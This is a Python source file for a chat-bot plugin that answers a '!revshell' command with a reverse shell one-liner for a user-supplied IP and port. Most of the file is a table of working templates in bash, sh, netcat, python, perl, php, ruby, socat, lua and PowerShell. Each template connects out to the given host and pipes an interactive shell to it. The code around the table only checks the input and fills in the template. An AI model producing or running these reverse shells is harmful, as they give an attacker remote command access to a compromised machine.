"""Plugin: reverse shell one-liner generator.""" from __future__ import annotations import ipaddress from derp.plugin import command _SHELLS: dict[str, str] = { "bash": ( "bash -i >& /dev/tcp/{ip}/{port} 0>&1" ), "sh": ( "/bin/sh -i >& /dev/tcp/{ip}/{port} 0>&1" ), "nc": ( "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/f" ), "nce": ( "nc -e /bin/sh {ip} {port}" ), "python": ( "python3 -c 'import socket,subprocess,os;" "s=socket.socket();s.connect((\"{ip}\",{port}));" "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);" "subprocess.call([\"/bin/sh\",\"-i\"])'" ), "perl": ( "perl -e 'use Socket;" "$i=\"{ip}\";$p={port};" "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" "connect(S,sockaddr_in($p,inet_aton($i)));" "open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");" "exec(\"/bin/sh -i\")'" ), "php": ( "php -r '$s=fsockopen(\"{ip}\",{port});" "exec(\"/bin/sh -i <&3 >&3 2>&3\");'" ), "ruby": ( "ruby -rsocket -e'" "f=TCPSocket.open(\"{ip}\",{port}).to_i;" "exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" ), "socat": ( "socat TCP:{ip}:{port} EXEC:/bin/sh,pty,stderr,setsid,sigint,sane" ), "lua": ( "lua -e \"require('socket');require('os');" "t=socket.tcp();t:connect('{ip}','{port}');" "os.execute('/bin/sh -i <&3 >&3 2>&3')\"" ), "ps": ( "powershell -nop -c \"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});" "$s=$c.GetStream();[byte[]]$b=0..65535|%{{{{0}}}};while(($i=$s.Read($b,0," "$b.Length))-ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" "$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);" "$s.Write($sb,0,$sb.Length)}}\"" ), } @command("revshell", help="Reverse shell: !revshell ") async def cmd_revshell(bot, message): """Generate a reverse shell one-liner. !revshell bash 10.0.0.1 4444 !revshell list """ parts = message.text.split() if len(parts) < 2: types = ", ".join(sorted(_SHELLS)) await bot.reply(message, f"Usage: !revshell | types: {types}") return shell_type = parts[1].lower() if shell_type == "list": await bot.reply(message, f"Types: {', '.join(sorted(_SHELLS))}") return if len(parts) < 4: await bot.reply(message, "Usage: !revshell ") return ip = parts[2] port_str = parts[3] # Validate IP try: ipaddress.ip_address(ip) except ValueError: await bot.reply(message, f"Invalid IP: {ip}") return # Validate port try: port = int(port_str) if not 1 <= port <= 65535: raise ValueError except ValueError: await bot.reply(message, f"Invalid port: {port_str}") return template = _SHELLS.get(shell_type) if template is None: types = ", ".join(sorted(_SHELLS)) await bot.reply(message, f"Unknown type: {shell_type} (valid: {types})") return await bot.reply(message, template.format(ip=ip, port=port))